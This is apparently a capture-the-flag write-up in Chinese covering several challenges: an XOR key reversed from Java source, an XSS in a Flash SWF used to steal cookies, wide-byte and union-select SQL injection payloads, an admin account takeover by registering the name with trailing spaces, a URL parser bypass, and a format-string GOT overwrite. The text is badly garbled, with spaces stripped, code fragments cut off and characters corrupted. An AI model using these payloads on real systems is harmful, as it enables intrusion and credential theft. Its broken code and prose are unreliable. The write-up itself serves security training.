Gapktooljava源碼，閱讀源碼得到key的算法。Check()方法中定義了一個(gè)長(zhǎng)度為16的字符串，將字符串的第i與”bobdylan”的第i%8位進(jìn)行異或，即得keyphp實(shí)現(xiàn)的算法。{$r.=chr($ai[$i]^ord($s1[$i%}echo記錄到的cookies內(nèi)容：將flag值debase64之后得到鏈接packageimportflash.display.*;importflash.events.*;import.*;importflash.external.*;{publicfunctionswf(){var_local3:*;varvar_local1:*=var_local2:*=root.loaderInfo.url.indexOf("?");if(_local2!==-1){_local3=this.parseStr(root.loaderInfo.url.substr((_local2+1)));for(_local4in_local1){)){delete}var_local2:Object=_arg1=unescape(_arg1).replace(/\+/g,"");var_local3:Array=_arg1.split("&");th){return({});varvar_local5:uint=_local3.length;while(_local4<_local5){_local6=_local3[_local4].split("=");if(!_local6.length){}elsereturn}trim(_arg1:String):String{if(!_arg1){return(_arg1);}}=var_local2:*root.loaderInfo.url.indexOf("?");//url_local3this.parseStr(root.loaderInfo.url.substr((_local21)));調(diào)用自己實(shí)現(xiàn)的parser來(lái)提取parser提取到的數(shù)組里，則在_local1刪掉這個(gè)參數(shù)。這樣導(dǎo)致ExternalInterface.call("console.debug",_local1.debug);出，比較難猜測(cè)，于是在反編譯得到的as源碼基礎(chǔ)上加上了_local1、root.loaderInfo.url.substr((_local21)和_local3debug輸出，更好的觀察參數(shù)傳遞進(jìn)去的情提示沒(méi)有了，也就是說(shuō)debug參數(shù)沒(méi)有被刪除，正確地傳進(jìn)了ExternalInterface.call("console.debug",_local1.debug);里，進(jìn)一步調(diào)試，最后成功alert。cookies，懷疑是其中的%0有影響，改成%9在本機(jī)測(cè)試，依然成功，再次提交，得到cookie。flag后添加兩個(gè)==，debase64后得到鏈接Payloadas腳本將%0這樣的字符串當(dāng)成格式化字符串$sql="select*fromuserswhereusername='$username'"; (0<mysqli_num_rows(mysqli_query($conn,$sql))){echo'<h2>UsernameHasbenn}}--

echo$sql="INSERTintousers(username,password)values('$username','$password');";mysqli_query($conn,$sql);$sql="SELECT*fromuserswhereusername='$username'and$result=mysqli_query($conn,$row=$result-echo"<h1>Loggedinasecho"<h1>Logged}--mysqli_real_escape_string來(lái)防注入，看到這個(gè)馬上想到可能有寬字節(jié)注射。簡(jiǎn)單測(cè)試username=123%cf%27%23&password=123123123，多次提交均顯示scuuess，說(shuō)明select語(yǔ)句正常執(zhí)行，語(yǔ)句變成：select*fromuserswhereinsertinto失敗，因?yàn)橛糜脩裘竺孀⑨尩?，插入語(yǔ)句變?yōu)椋篒nsertintousers(username,password)values(‘123?’#,’123123123’);從主頁(yè)上看到shop頁(yè)面是Adminonly，構(gòu)造payloadmethod="post"role="form">后來(lái)嘗試構(gòu)造超長(zhǎng)用戶名:：Admin(n個(gè)空格)n多次提交均可以注冊(cè)成功，說(shuō)明用戶名長(zhǎng)度$plain=$V=$rnd=$cipher=for($i=0;$i<strlen($plain);$i++)$cipher.=($plain[$i]^}$cipher.=$V.=for($i=0;$i<strlen($V);$i++)$cipher[$i]=($cipher[$i]^}returnstr_replace('=','',}$V=$cipher_1=(strlen($cipher_1)!=64){return'xx';}$V.=$plain=for($i=0;$i<strlen($V);$i++)$plain[$i]=($cipher_1[$i]^}$ran=$plain=for($i=0;$i<strlen($ran);$i++)$plain[$i]=($plain[$i]^}return$plain;}AdminroleAdmincookie打開(kāi)網(wǎng)站，進(jìn)入article頁(yè)面$sql="1and1=2unionselect1,flagfromflag";echourlencode(serialize($sql));用Admin和a123456登陸成功，得到flag。該題的當(dāng)時(shí)沒(méi)截圖，后來(lái)無(wú)法重現(xiàn)。newURL(location.search.substr(1));urlparser對(duì)該字繞過(guò)parser的判斷。//parsepos=this.authority.indexOf(':');if(pos>-1){this.port=this.authority.substr(pos+1);this.authority=this.authority.substr(0,pos)}提交paylaoad，記錄得到cookies。補(bǔ)等號(hào)，debase64得到鏈接：發(fā)現(xiàn)函數(shù)列表里有print_flag函數(shù)[0][1][[3][4][5][6]sendMail()main()displayAction()displayAction();里然后用格式化字符串來(lái)改寫(xiě)got表，使puts條目指向print_flag函數(shù)的地址，在這樣在sendMail()函數(shù)返回后就會(huì)調(diào)用print_flag來(lái)打印flag。printf("InputYourName:");get_input((char*)&v8,puts的got表地址：804C038puts的實(shí)際地址：0804C16